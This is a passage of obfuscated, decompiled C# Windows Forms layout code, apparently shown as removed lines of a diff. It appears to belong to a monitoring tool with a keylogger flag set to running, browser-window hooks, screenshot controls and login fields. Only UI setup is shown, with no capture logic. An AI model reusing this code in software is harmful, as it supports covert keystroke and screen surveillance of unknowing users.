ᥲᙃ = new អ(); - private string ᙵᙄ = ".jpg"; - private ShellWindows ᙂᙄ = (ShellWindows) new ShellWindowsClass(); - private List ᙃᙄ = new List(); - private string ᙄᙄ = ""; - private string ᙅᙄ = ""; - private string ᙆᙄ = ""; - private List<ᙄ> ᙇᙄ = new List<ᙄ>(); - private List<ᙄ> ᙈᙄ = new List<ᙄ>(); - private List<ᙄ> ᙉᙄ = new List<ᙄ>(); - private static ᙀ ᙊᙄ; - private HTMLButtonElementEvents_Event ᙋᙄ; - private IHTMLDocument3 ᙘᙄ; - private string ᙍᙄ = string.Empty; - private ᝮ ᙎᙄ; - private \u1806 ᙏᙄ; - - protected override void Dispose(bool disposing) - { - if (disposing && this.ᣂᙃ != null) - this.ᣂᙃ.Dispose(); - base.Dispose(disposing); - } - - private void ᡈᙃ() - { - this.ᣂᙃ = (IContainer) new Container(); - ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ᙀ)); - this.ᣄᙃ = new TabControl(); - this.ᣅᙃ = new TabPage(); - this.ᥳᙃ = new \u17C4(); - this.ᣃᙃ = new \u17C6(); - this.ᣝᙃ = new TabPage(); - this.ᤋᙃ = new \u17C4(); - this.\u1923ᙃ = new CheckBox(); - this.ᤄᙃ = new Label(); - this.ᣡᙃ = new GroupBox(); - this.ᥦᙃ = new PictureBox(); - this.ᥥᙃ = new Button(); - this.ᥤᙃ = new Label(); - this.ᥣᙃ = new Label(); - this.ᥢᙃ = new TextBox(); - this.ᤔᙃ = new Label(); - this.ᤓᙃ = new Button(); - this.ᣤᙃ = new RadioButton(); - this.ᣥᙃ = new RadioButton(); - this.ᣦᙃ = new RadioButton(); - this.ᣧᙃ = new RadioButton(); - this.ᣢᙃ = new Button(); - this.ᣨᙃ = new Button(); - this.ᣣᙃ = new TextBox(); - this.ᣞᙃ = new Button(); - this.ᣟᙃ = new Panel(); - this.ᣠᙃ = new PictureBox(); - this.ᤅᙃ = new Button(); - this.ᣱᙃ = new Button(); - this.ᣲᙃ = new Button(); - this.\u1935ᙃ = new Button(); - this.ᤂᙃ = new Button(); - this.ᣩᙃ = new TabPage(); - this.ᤘᙃ = new \u17C4(); - this.ᥡᙃ = new Label(); - this.ᥠᙃ = new Label(); - this.ᥟᙃ = new Label(); - this.ᥞᙃ = new PictureBox(); - this.ᤊᙃ = new LinkLabel(); - this.ᣯᙃ = new Label(); - this.ᣫᙃ = new Label(); - this.ᣬᙃ = new Label(); - this.ᣭᙃ = new TextBox(); - this.ᣮᙃ = new TextBox(); - this.ᣪᙃ = new CheckBox(); - this.ᣰᙃ = new Button(); - this.ᤕᙃ = new TabPage(); - this.\u1924ᙃ = new \u17C4(); - this.\u1943ᙃ = new Label(); - this.\u1975ᙃ = new Button(); - this.ᤖᙃ = new DataGridView(); - this.ᤗᙃ = new DataGridViewTextBoxColumn(); - this.ᤀᙃ = new DataGridViewTextBoxColumn(); - this.\u1933ᙃ = new DataGridViewTextBoxColumn(); - this.ᤚᙃ = new DataGridViewTextBoxColumn(); - this.ᤛᙃ = new DataGridViewTextBoxColumn(); - this.\u1944ᙃ = new Button(); - this.ᤙᙃ = new TabPage(); - this.\u1925ᙃ = new \u17C4(); - this.ᤝᙃ = new DataGridView(); - this.ᤞᙃ = new DataGridViewTextBoxColumn(); - this.\u191Fᙃ = new DataGridViewTextBoxColumn(); - this.\u1920ᙃ = new DataGridViewTextBoxColumn(); - this.\u1921ᙃ = new DataGridViewTextBoxColumn(); - this.\u1922ᙃ = new DataGridViewTextBoxColumn(); - this.\u1942ᙃ = new Button(); - this.\u1945ᙃ = new Button(); - this.\u1946ᙃ = new TabPage(); - this.\u194Fᙃ = new \u17C4(); - this.\u194Eᙃ = new Label(); - this.\u1948ᙃ = new Button(); - this.\u1947ᙃ = new DataGridView(); - this.\u1949ᙃ = new DataGridViewTextBoxColumn(); - this.\u194Aᙃ = new DataGridViewTextBoxColumn(); - this.\u194Bᙃ = new DataGridViewTextBoxColumn(); - this.ᥘᙃ = new DataGridViewTextBoxColumn(); - this.\u194Dᙃ = new DataGridViewTextBoxColumn(); - this.\u1929ᙃ = new TabPage(); - this.\u1932ᙃ = new \u17C4(); - this.ᥝᙃ = new PictureBox(); - this.\u192Fᙃ = new Label(); - this.\u192Aᙃ = new Label(); - this.\u192Bᙃ = new Label(); - this.\u192Cᙃ = new TextBox(); - this.\u192Dᙃ = new TextBox(); - this.\u192Eᙃ = new Button(); - this.ᣋᙃ = new TabPage(); - this.ᣀᙃ = new LinkLabel(); - this.ᥒᙃ = new GroupBox(); - this.ᥙᙃ = new PictureBox(); - this.ᥛᙃ = new PictureBox(); - this.ᥔᙃ = new RadioButton(); - this.ᥕᙃ = new Label(); - this.ᥓᙃ = new Label(); - this.\u197Eᙃ = new RadioButton(); - this.ᣑᙃ = new Label(); - this.ᥑᙃ = new RadioButton(); - this.\u18FEᙃ = new TextBox(); - this.ᤇᙃ = new CheckBox(); - this.ᣗᙃ = new Button(); - this.ᣍᙃ = new GroupBox(); - this.ᥚᙃ = new PictureBox(); - this.ᥖᙃ = new Button(); - this.ᣓᙃ = new CheckBox(); - this.ᣏᙃ = new Button(); - this.ᣎᙃ = new TextBox(); - this.ᣘᙃ = new GroupBox(); - this.ᣒᙃ = new CheckBox(); - this.ᣊᙃ = new CheckBox(); - this.ᣔᙃ = new Label(); - this.ᣕᙃ = new Label(); - this.ᣆᙃ = new ToolStrip(); - this.ᣇᙃ = new ToolStripDropDownButton(); - this.ᣈᙃ = new ToolStripMenuItem(); - this.ᤈᙃ = new ToolStripMenuItem(); - this.\u1928ᙃ = new ToolStripMenuItem(); - this.ᣉᙃ = new ToolStripMenuItem(); - this.ᣳᙃ = new ToolStripSeparator(); - this.ᤍᙃ = new ToolStripDropDownButton(); - this.ᤎᙃ = new ToolStripMenuItem(); - this.ᤏᙃ = new ToolStripMenuItem(); - this.\u193Eᙃ = new ToolStripMenuItem(); - this.ᤑᙃ = new ToolStripMenuItem(); - this.\u1926ᙃ = new ToolStripMenuItem(); - this.ᥗᙃ = new ToolStripMenuItem(); - this.\u1930ᙃ = new ToolStripMenuItem(); - this.\u1927ᙃ = new ToolStripMenuItem(); - this.ᤒᙃ = new ToolStripSeparator(); - this.ᣚᙃ = new ToolStripDropDownButton(); - this.ᣛᙃ = new ToolStripMenuItem(); - this.ᣙᙃ = new ToolStripMenuItem(); - this.\u1940ᙃ = new ToolStripMenuItem(); - this.ᣖᙃ = new StatusStrip(); - this.ᥧᙃ = new ToolStripStatusLabel(); - this.ᥨᙃ = new ToolStripStatusLabel(); - this.ᥩᙃ = new ToolStripStatusLabel(); - this.ᤃᙃ = new ImageList(this.ᣂᙃ); - this.\u1931ᙃ = new Label(); - this.ᤉᙃ = new PictureBox(); - this.ᤆᙃ = new \u17C2(); - this.ᣄᙃ.SuspendLayout(); - this.ᣅᙃ.SuspendLayout(); - this.ᣝᙃ.SuspendLayout(); - this.ᣡᙃ.SuspendLayout(); - ((ISupportInitialize) this.ᥦᙃ).BeginInit(); - this.ᣟᙃ.SuspendLayout(); - ((ISupportInitialize) this.ᣠᙃ).BeginInit(); - this.ᣩᙃ.SuspendLayout(); - ((ISupportInitialize) this.ᥞᙃ).BeginInit(); - this.ᤕᙃ.SuspendLayout(); - ((ISupportInitialize) this.ᤖᙃ).BeginInit(); - this.ᤙᙃ.SuspendLayout(); - ((ISupportInitialize) this.ᤝᙃ).BeginInit(); - this.\u1946ᙃ.SuspendLayout(); - ((ISupportInitialize) this.\u1947ᙃ).BeginInit(); - this.\u1929ᙃ.SuspendLayout(); - ((ISupportInitialize) this.ᥝᙃ).BeginInit(); - this.ᣋᙃ.SuspendLayout(); - this.ᥒᙃ.SuspendLayout(); - ((ISupportInitialize) this.ᥙᙃ).BeginInit(); - ((ISupportInitialize) this.ᥛᙃ).BeginInit(); - this.ᣍᙃ.SuspendLayout(); - ((ISupportInitialize) this.ᥚᙃ).BeginInit(); - this.ᣘᙃ.SuspendLayout(); - this.ᣆᙃ.SuspendLayout(); - this.ᣖᙃ.SuspendLayout(); - ((ISupportInitialize) this.ᤉᙃ).BeginInit(); - this.SuspendLayout(); - this.ᣄᙃ.Controls.Add((Control) this.ᣅᙃ); - this.ᣄᙃ.Controls.Add((Control) this.ᣝᙃ); - this.ᣄᙃ.Controls.Add((Control) this.ᣩᙃ); - this.ᣄᙃ.Controls.Add((Control) this.ᤕᙃ); - this.ᣄᙃ.Controls.Add((Control) this.ᤙᙃ); - this.ᣄᙃ.Controls.Add((Control) this.\u1946ᙃ); - this.ᣄᙃ.Controls.Add((Control) this.\u1929ᙃ); - this.ᣄᙃ.Controls.Add((Control) this.ᣋᙃ); - this.ᣄᙃ.Location = new Point(12, 111); - this.ᣄᙃ.Name = ᙵ.\u17E2; - this.ᣄᙃ.SelectedIndex = 0; - this.ᣄᙃ.Size = new Size(832, 323); - this.ᣄᙃ.TabIndex = 1; - this.ᣅᙃ.Controls.Add((Control) this.ᥳᙃ); - this.ᣅᙃ.Controls.Add((Control) this.ᣃᙃ); - this.ᣅᙃ.Location = new Point(4, 22); - this.ᣅᙃ.Name = ᙵ.\u17E4; - this.ᣅᙃ.Padding = new Padding(3); - this.ᣅᙃ.Size = new Size(824, 297); - this.ᣅᙃ.TabIndex = 0; - this.ᣅᙃ.Text = ᙵ.\u17E6; - this.ᣅᙃ.UseVisualStyleBackColor = true; - this.ᥳᙃ.BackColor = System.Drawing.Color.DodgerBlue; - this.ᥳᙃ.Location = new Point(0, 0); - this.ᥳᙃ.Name = ᙵ.\u17E8; - this.ᥳᙃ.Size = new Size(827, 300); - this.ᥳᙃ.TabIndex = 7; - this.ᣃᙃ.AutoSize = true; - this.ᣃᙃ.Dock = DockStyle.Fill; - this.ᣃᙃ.KeyLoggerIsRunning = true; - this.ᣃᙃ.Location = new Point(3, 3); - this.ᣃᙃ.Name = ᙵ.\u17EA; - this.ᣃᙃ.Size = new Size(818, 291); - this.ᣃᙃ.TabIndex = 0; - this.ᣝᙃ.Controls.Add((Control) this.ᤋᙃ); - this.ᣝᙃ.Controls.Add((Control) this.\u1923ᙃ); - this.ᣝᙃ.Controls.Add((Control) this.ᤄᙃ); - this.ᣝᙃ.Controls.Add((Control) this.ᣡᙃ); - this.ᣝᙃ.Controls.Add((Control) this.ᣟᙃ); - this.ᣝᙃ.Controls.Add((Control) this.ᤅᙃ); - this.ᣝᙃ.Controls.Add((Control) this.ᣱᙃ); - this.ᣝᙃ.Controls.Add((Control) this.ᣲᙃ); - this.ᣝᙃ.Controls.Add((Control) this.\u1935ᙃ); - this.ᣝᙃ.Controls.Add((Control) this.ᤂᙃ); - this.ᣝᙃ.Location = new Point(4, 22); - this.ᣝᙃ.Name = ᙵ.\u17EC; - this.ᣝᙃ.Size = new Size(824, 297); - this.ᣝᙃ.TabIndex = 6; - this.ᣝᙃ.Text = ᙵ.\u17EE; - this.ᣝᙃ.UseVisualStyleBackColor = true; - this.ᤋᙃ.BackColor = System.Drawing.Color.DodgerBlue; - this.ᤋᙃ.Location = new Point(0, 0); - this.ᤋᙃ.Name = ᙵ.\u17F0; - this.ᤋᙃ.Size = new Size(827, 300); - this.ᤋᙃ.TabIndex = 14; - this.\u1923ᙃ.AutoSize = true; - this.\u1923ᙃ.Location = new Point(9, 11); - this.\u1923ᙃ.Name = ᙵ.\u17F2; - this.\u1923ᙃ.Size = new Size(298, 17); - this.\u1923ᙃ.TabIndex = 14; - this.\u1923ᙃ.Text = ᙵ.\u1802; - this.\u1923ᙃ.UseVisualStyleBackColor = true; - this.\u1923ᙃ.CheckedChanged += new EventHandler(this.ᢦᙃ); - this.ᤄᙃ.AutoSize = true; - this.ᤄᙃ.Font = new Font(ᙵ.\u1804, 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.ᤄᙃ.ForeColor = System.Drawing.Color.Red; - this.ᤄᙃ.Location = new Point(572, 15); - this.ᤄᙃ.Name = ᙵ.\u1806; - this.ᤄᙃ.Size = new Size(0, 13); - this.ᤄᙃ.TabIndex = 1; - this.ᣡᙃ.Controls.Add((Control) this.ᥦᙃ); - this.ᣡᙃ.Controls.Add((Control) this.ᥥᙃ); - this.ᣡᙃ.Controls.Add((Control) this.ᥤᙃ); - this.ᣡᙃ.Controls.Add((Control) this.ᥣᙃ); - this.ᣡᙃ.Controls.Add((Control) this.ᥢᙃ); - this.ᣡᙃ.Controls.Add((Control) this.ᤔᙃ); - this.ᣡᙃ.Controls.Add((Control) this.ᤓᙃ); - this.ᣡᙃ.Controls.Add((Control) this.ᣤᙃ); - this.ᣡᙃ.Controls.Add((Control) this.ᣥᙃ); - this.ᣡᙃ.Controls.Add((Control) this.ᣦᙃ); - this.ᣡᙃ.Controls.Add((Control) this.ᣧᙃ); - this.ᣡᙃ.Controls.Add((Control) this.ᣢᙃ); - this.ᣡᙃ.Controls.Add((Control) this.ᣨᙃ); - this.ᣡᙃ.Controls.Add((Control) this.ᣣᙃ); - this.ᣡᙃ.Controls.Add((Control) this.ᣞᙃ); - this.ᣡᙃ.Location = new Point(3, 34); - this.ᣡᙃ.Name = ᙵ.\u1808; - this.ᣡᙃ.Size = new Size(315, 256); - this.ᣡᙃ.TabIndex = 7; - this.ᣡᙃ.TabStop = false; - this.ᣡᙃ.Text = ᙵ.\u180A; - this.ᥦᙃ.Image = (Image) Resources.help; - this.ᥦᙃ.Location = new Point(280, 230); - this.ᥦᙃ.Name = ᙵ.\u1818; - this.ᥦᙃ.Size = new Size(16, 16); - this.ᥦᙃ.TabIndex = 24; - this.ᥦᙃ.TabStop = false; - this.ᥦᙃ.Click += new EventHandler(this.\u18AFᙃ); - this.ᥥᙃ.Image = (Image) Resources.accept; - this.ᥥᙃ.ImageAlign = ContentAlignment.MiddleLeft; - this.ᥥᙃ.Location = new Point(203, 225); - this.ᥥᙃ.Name = ᙵ.\u180E; - this.ᥥᙃ.Size = new Size(75, 28); - this.ᥥᙃ.TabIndex = 19; - this.ᥥᙃ.Text = ᙵ.ᠾ; - this.ᥥᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.ᥥᙃ.UseVisualStyleBackColor = true; - this.ᥥᙃ.Click += new EventHandler(this.\u18A9ᙃ); - this.ᥤᙃ.AutoSize = true; - this.ᥤᙃ.Font = new Font(ᙵ.\u1812, 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.ᥤᙃ.ForeColor = System.Drawing.Color.DarkRed; - this.ᥤᙃ.Location = new Point(174, 233); - this.ᥤᙃ.Name = ᙵ.\u1814; - this.ᥤᙃ.Size = new Size(23, 13); - this.ᥤᙃ.TabIndex = 18; - this.ᥤᙃ.Text = ᙵ.\u1816; - this.ᥣᙃ.AutoSize = true; - this.ᥣᙃ.Font = new Font(ᙵ.\u1800, 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.ᥣᙃ.ForeColor = System.Drawing.Color.DarkRed; - this.ᥣᙃ.Location = new Point(6, 233); - this.ᥣᙃ.Name = ᙵ.\u181A; - this.ᥣᙃ.Size = new Size(123, 13); - this.ᥣᙃ.TabIndex = 17; - this.ᥣᙃ.Text = ᙵ.\u1819; - this.ᥢᙃ.Location = new Point(135, 230); - this.ᥢᙃ.Name = ᙵ.\u181E; - this.ᥢᙃ.Size = new Size(33, 20); - this.ᥢᙃ.TabIndex = 16; - this.ᥢᙃ.Text = ᙵ.ᠠ; - this.ᤔᙃ.AutoSize = true; - this.ᤔᙃ.Font = new Font(ᙵ.ᠢ, 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.ᤔᙃ.ForeColor = System.Drawing.Color.DarkRed; - this.ᤔᙃ.Location = new Point(103, 203); - this.ᤔᙃ.Name = ᙵ.ᠤ; - this.ᤔᙃ.Size = new Size(101, 13); - this.ᤔᙃ.TabIndex = 15; - this.ᤔᙃ.Text = ᙵ.ᠦ; - this.ᤓᙃ.Image = (Image) Resources.image_delete; - this.ᤓᙃ.ImageAlign = ContentAlignment.MiddleLeft; - this.ᤓᙃ.Location = new Point(6, 195); - this.ᤓᙃ.Name = ᙵ.ᠨ; - this.ᤓᙃ.Size = new Size(91, 28); - this.ᤓᙃ.TabIndex = 14; - this.ᤓᙃ.Text = ᙵ.ᠪ; - this.ᤓᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.ᤓᙃ.UseVisualStyleBackColor = true; - this.ᤓᙃ.Click += new EventHandler(this.ᢨᙃ); - this.ᣤᙃ.AutoSize = true; - this.ᣤᙃ.Location = new Point(6, 88); - this.ᣤᙃ.Name = ᙵ.ᠬ; - this.ᣤᙃ.Size = new Size(146, 17); - this.ᣤᙃ.TabIndex = 13; - this.ᣤᙃ.TabStop = true; - this.ᣤᙃ.Text = ᙵ.ᠮ; - this.ᣤᙃ.UseVisualStyleBackColor = true; - this.ᣤᙃ.Click += new EventHandler(this.ᢖᙃ); - this.ᣥᙃ.AutoSize = true; - this.ᣥᙃ.Location = new Point(6, 65); - this.ᣥᙃ.Name = ᙵ.ᠰ; - this.ᣥᙃ.Size = new Size(170, 17); - this.ᣥᙃ.TabIndex = 12; - this.ᣥᙃ.TabStop = true; - this.ᣥᙃ.Text = ᙵ.ᠲ; - this.ᣥᙃ.UseVisualStyleBackColor = true; - this.ᣥᙃ.Click += new EventHandler(this.ᢕᙃ); - this.ᣦᙃ.AutoSize = true; - this.ᣦᙃ.Location = new Point(6, 42); - this.ᣦᙃ.Name = ᙵ.ᡂ; - this.ᣦᙃ.Size = new Size(170, 17); - this.ᣦᙃ.TabIndex = 11; - this.ᣦᙃ.TabStop = true; - this.ᣦᙃ.Text = ᙵ.ᡄ; - this.ᣦᙃ.UseVisualStyleBackColor = true; - this.ᣦᙃ.Click += new EventHandler(this.ᢔᙃ); - this.ᣧᙃ.AutoSize = true; - this.ᣧᙃ.Checked = true; - this.ᣧᙃ.Location = new Point(6, 19); - this.ᣧᙃ.Name = ᙵ.ᡆ; - this.ᣧᙃ.Size = new Size(54, 17); - this.ᣧᙃ.TabIndex = 10; - this.ᣧᙃ.TabStop = true; - this.ᣧᙃ.Text = ᙵ.ᡈ; - this.ᣧᙃ.UseVisualStyleBackColor = true; - this.ᣧᙃ.Click += new EventHandler(this.ᢓᙃ); - this.ᣢᙃ.Image = (Image) Resources.find; - this.ᣢᙃ.ImageAlign = ContentAlignment.MiddleLeft; - this.ᣢᙃ.Location = new Point(183, 106); - this.ᣢᙃ.Name = ᙵ.ᡊ; - this.ᣢᙃ.Size = new Size(67, 28); - this.ᣢᙃ.TabIndex = 9; - this.ᣢᙃ.Text = ᙵ.ᡘ; - this.ᣢᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.ᣢᙃ.UseVisualStyleBackColor = true; - this.ᣢᙃ.Click += new EventHandler(this.ᢤᙃ); - this.ᣨᙃ.Image = (Image) Resources.images; - this.ᣨᙃ.ImageAlign = ContentAlignment.MiddleLeft; - this.ᣨᙃ.Location = new Point(6, 137); - this.ᣨᙃ.Name = ᙵ.ᡎ; - this.ᣨᙃ.Size = new Size(91, 28); - this.ᣨᙃ.TabIndex = 8; - this.ᣨᙃ.Text = ᙵ.\u187E; - this.ᣨᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.ᣨᙃ.UseVisualStyleBackColor = true; - this.ᣨᙃ.Click += new EventHandler(this.ᢧᙃ); - this.ᣣᙃ.Location = new Point(6, 111); - this.ᣣᙃ.Name = ᙵ.ᡒ; - this.ᣣᙃ.ReadOnly = true; - this.ᣣᙃ.Size = new Size(171, 20); - this.ᣣᙃ.TabIndex = 8; - this.ᣣᙃ.Text = ᙵ.ᡔ; - this.ᣣᙃ.TextChanged += new EventHandler(this.ᢥᙃ); - this.ᣞᙃ.Image = (Image) Resources.camera; - this.ᣞᙃ.ImageAlign = ContentAlignment.MiddleLeft; - this.ᣞᙃ.Location = new Point(6, 166); - this.ᣞᙃ.Name = ᙵ.ᡖ; - this.ᣞᙃ.Size = new Size(91, 28); - this.ᣞᙃ.TabIndex = 1; - this.ᣞᙃ.Text = ᙵ.ᡀ; - this.ᣞᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.ᣞᙃ.UseVisualStyleBackColor = true; - this.ᣞᙃ.Click += new EventHandler(this.ᢞᙃ); - this.ᣟᙃ.AutoScroll = true; - this.ᣟᙃ.BorderStyle = BorderStyle.Fixed3D; - this.ᣟᙃ.Controls.Add((Control) this.ᣠᙃ); - this.ᣟᙃ.Location = new Point(324, 34); - this.ᣟᙃ.Name = ᙵ.ᡚ; - this.ᣟᙃ.Size = new Size(497, 256); - this.ᣟᙃ.TabIndex = 2; - this.ᣠᙃ.Location = new Point(3, 3); - this.ᣠᙃ.Name = ᙵ.ᡙ; - this.ᣠᙃ.Size = new Size(487, 251); - this.ᣠᙃ.TabIndex = 0; - this.ᣠᙃ.TabStop = false; - this.ᤅᙃ.Image = (Image) Resources.zoom_in; - this.ᤅᙃ.ImageAlign = ContentAlignment.MiddleLeft; - this.ᤅᙃ.Location = new Point(748, 5); - this.ᤅᙃ.Name = ᙵ.ᡞ; - this.ᤅᙃ.Size = new Size(73, 28); - this.ᤅᙃ.TabIndex = 13; - this.ᤅᙃ.Text = ᙵ.ᡠ; - this.ᤅᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.ᤅᙃ.UseVisualStyleBackColor = true; - this.ᤅᙃ.Click += new EventHandler(this.ᢣᙃ); - this.ᣱᙃ.Image = (Image) Resources.control_end_blue; - this.ᣱᙃ.ImageAlign = ContentAlignment.MiddleLeft; - this.ᣱᙃ.Location = new Point(510, 5); - this.ᣱᙃ.Name = ᙵ.ᡢ; - this.ᣱᙃ.Size = new Size(56, 28); - this.ᣱᙃ.TabIndex = 12; - this.ᣱᙃ.Text = ᙵ.ᡤ; - this.ᣱᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.ᣱᙃ.UseVisualStyleBackColor = true; - this.ᣱᙃ.Click += new EventHandler(this.ᢢᙃ); - this.ᣲᙃ.Image = (Image) Resources.control_fastforward_blue; - this.ᣲᙃ.ImageAlign = ContentAlignment.MiddleLeft; - this.ᣲᙃ.Location = new Point(448, 5); - this.ᣲᙃ.Name = ᙵ.ᡦ; - this.ᣲᙃ.Size = new Size(56, 28); - this.ᣲᙃ.TabIndex = 11; - this.ᣲᙃ.Text = ᙵ.ᡨ; - this.ᣲᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.ᣲᙃ.UseVisualStyleBackColor = true; - this.ᣲᙃ.Click += new EventHandler(this.ᢡᙃ); - this.\u1935ᙃ.Image = (Image) Resources.control_rewind_blue; - this.\u1935ᙃ.ImageAlign = ContentAlignment.MiddleLeft; - this.\u1935ᙃ.Location = new Point(386, 5); - this.\u1935ᙃ.Name = ᙵ.ᡪ; - this.\u1935ᙃ.Size = new Size(56, 28); - this.\u1935ᙃ.TabIndex = 10; - this.\u1935ᙃ.Text = ᙵ.ᡬ; - this.\u1935ᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.\u1935ᙃ.UseVisualStyleBackColor = true; - this.\u1935ᙃ.Click += new EventHandler(this.ᢠᙃ); - this.ᤂᙃ.Image = (Image) Resources.control_start_blue; - this.ᤂᙃ.ImageAlign = ContentAlignment.MiddleLeft; - this.ᤂᙃ.Location = new Point(324, 5); - this.ᤂᙃ.Name = ᙵ.ᡮ; - this.ᤂᙃ.Size = new Size(56, 28); - this.ᤂᙃ.TabIndex = 9; - this.ᤂᙃ.Text = ᙵ.ᡰ; - this.ᤂᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.ᤂᙃ.UseVisualStyleBackColor = true; - this.ᤂᙃ.Click += new EventHandler(this.ᢟᙃ); - this.ᣩᙃ.Controls.Add((Control) this.ᤘᙃ); - this.ᣩᙃ.Controls.Add((Control) this.ᥡᙃ); - this.ᣩᙃ.Controls.Add((Control) this.ᥠᙃ); - this.ᣩᙃ.Controls.Add((Control) this.ᥟᙃ); - this.ᣩᙃ.Controls.Add((Control) this.ᥞᙃ); - this.ᣩᙃ.Controls.Add((Control) this.ᤊᙃ); - this.ᣩᙃ.Controls.Add((Control) this.ᣯᙃ); - this.ᣩᙃ.Controls.Add((Control) this.ᣫᙃ); - this.ᣩᙃ.Controls.Add((Control) this.ᣬᙃ); - this.ᣩᙃ.Controls.Add((Control) this.ᣭᙃ); - this.ᣩᙃ.Controls.Add((Control) this.ᣮᙃ); - this.ᣩᙃ.Controls.Add((Control) this.ᣪᙃ); - this.ᣩᙃ.Controls.Add((Control) this.ᣰᙃ); - this.ᣩᙃ.Location = new Point(4, 22); - this.ᣩᙃ.Name = ᙵ.ᡲ; - this.ᣩᙃ.Size = new Size(824, 297); - this.ᣩᙃ.TabIndex = 7; - this.ᣩᙃ.Text = ᙵ.ᢂ; - this.ᣩᙃ.UseVisualStyleBackColor = true; - this.ᤘᙃ.BackColor = System.Drawing.Color.DodgerBlue; - this.ᤘᙃ.Location = new Point(0, 0); - this.ᤘᙃ.Name = ᙵ.ᢄ; - this.ᤘᙃ.Size = new Size(827, 300); - this.ᤘᙃ.TabIndex = 11; - this.ᥡᙃ.AutoSize = true; - this.ᥡᙃ.BackColor = System.Drawing.Color.LightBlue; - this.ᥡᙃ.BorderStyle = BorderStyle.FixedSingle; - this.ᥡᙃ.Font = new Font(ᙵ.ᢆ, 10f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.ᥡᙃ.ForeColor = SystemColors.ActiveCaptionText; - this.ᥡᙃ.Location = new Point(3, 161); - this.ᥡᙃ.Name = ᙵ.ᢈ; - this.ᥡᙃ.Size = new Size(502, 19); - this.ᥡᙃ.TabIndex = 27; - this.ᥡᙃ.Text = ᙵ.ᢊ; - this.ᥠᙃ.AutoSize = true; - this.ᥠᙃ.BackColor = System.Drawing.Color.LightBlue; - this.ᥠᙃ.BorderStyle = BorderStyle.FixedSingle; - this.ᥠᙃ.Font = new Font(ᙵ.ᢘ, 10f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.ᥠᙃ.ForeColor = SystemColors.ActiveCaptionText; - this.ᥠᙃ.Location = new Point(3, 15); - this.ᥠᙃ.Name = ᙵ.ᢎ; - this.ᥠᙃ.Size = new Size(453, 19); - this.ᥠᙃ.TabIndex = 26; - this.ᥠᙃ.Text = ᙵ.ᢾ; - this.ᥟᙃ.AutoSize = true; - this.ᥟᙃ.Font = new Font(ᙵ.ᢒ, 8.25f, FontStyle.Italic, GraphicsUnit.Point, (byte) 0); - this.ᥟᙃ.ForeColor = SystemColors.ControlDarkDark; - this.ᥟᙃ.Location = new Point(362, 96); - this.ᥟᙃ.Name = ᙵ.ᢔ; - this.ᥟᙃ.Size = new Size(327, 13); - this.ᥟᙃ.TabIndex = 25; - this.ᥟᙃ.Text = ᙵ.ᢖ; - this.ᥞᙃ.Image = (Image) Resources.help; - this.ᥞᙃ.Location = new Point(198, 41); - this.ᥞᙃ.Name = ᙵ.ᢀ; - this.ᥞᙃ.Size = new Size(16, 16); - this.ᥞᙃ.TabIndex = 24; - this.ᥞᙃ.TabStop = false; - this.ᥞᙃ.Click += new EventHandler(this.\u18AEᙃ); - this.ᤊᙃ.AutoSize = true; - this.ᤊᙃ.Location = new Point(18, 192); - this.ᤊᙃ.Name = ᙵ.ᢚ; - this.ᤊᙃ.Size = new Size(79, 13); - this.ᤊᙃ.TabIndex = 9; - ((Label) this.ᤊᙃ).TabStop = true; - this.ᤊᙃ.Text = ᙵ.ᢙ; - this.ᤊᙃ.LinkClicked += new LinkLabelLinkClickedEventHandler(this.ᡪᙃ); - this.ᣯᙃ.AutoSize = true; - this.ᣯᙃ.Font = new Font(ᙵ.ᢞ, 8.25f, FontStyle.Italic, GraphicsUnit.Point, (byte) 0); - this.ᣯᙃ.ForeColor = SystemColors.ControlDarkDark; - this.ᣯᙃ.Location = new Point(362, 70); - this.ᣯᙃ.Name = ᙵ.ᢠ; - this.ᣯᙃ.Size = new Size(330, 13); - this.ᣯᙃ.TabIndex = 6; - this.ᣯᙃ.Text = ᙵ.ᢢ; - this.ᣫᙃ.AutoSize = true; - this.ᣫᙃ.Font = new Font(ᙵ.ᢤ, 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.ᣫᙃ.Location = new Point(18, 96); - this.ᣫᙃ.Name = ᙵ.ᢦ; - this.ᣫᙃ.Size = new Size(53, 13); - this.ᣫᙃ.TabIndex = 4; - this.ᣫᙃ.Text = ᙵ.ᢨ; - this.ᣬᙃ.AutoSize = true; - this.ᣬᙃ.Font = new Font(ᙵ.ᢪ, 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.ᣬᙃ.Location = new Point(18, 70); - this.ᣬᙃ.Name = ᙵ.\u18AC; - this.ᣬᙃ.Size = new Size(55, 13); - this.ᣬᙃ.TabIndex = 3; - this.ᣬᙃ.Text = ᙵ.\u18AE; - this.ᣭᙃ.Location = new Point(93, 93); - this.ᣭᙃ.Name = ᙵ.ᢰ; - this.ᣭᙃ.Size = new Size(263, 20); - this.ᣭᙃ.TabIndex = 2; - this.ᣭᙃ.UseSystemPasswordChar = true; - this.ᣮᙃ.Location = new Point(93, 67); - this.ᣮᙃ.Name = ᙵ.ᢲ; - this.ᣮᙃ.Size = new Size(263, 20); - this.ᣮᙃ.TabIndex = 1; - this.ᣪᙃ.AutoSize = true; - this.ᣪᙃ.Location = new Point(21, 41); - this.ᣪᙃ.Name = ᙵ.ᣂ; - this.ᣪᙃ.Size = new Size(171, 17); - this.ᣪᙃ.TabIndex = 0; - this.ᣪᙃ.Text = ᙵ.ᣄ; - this.ᣪᙃ.UseVisualStyleBackColor = true; - this.ᣪᙃ.CheckedChanged += new EventHandler(this.ᡭᙃ); - 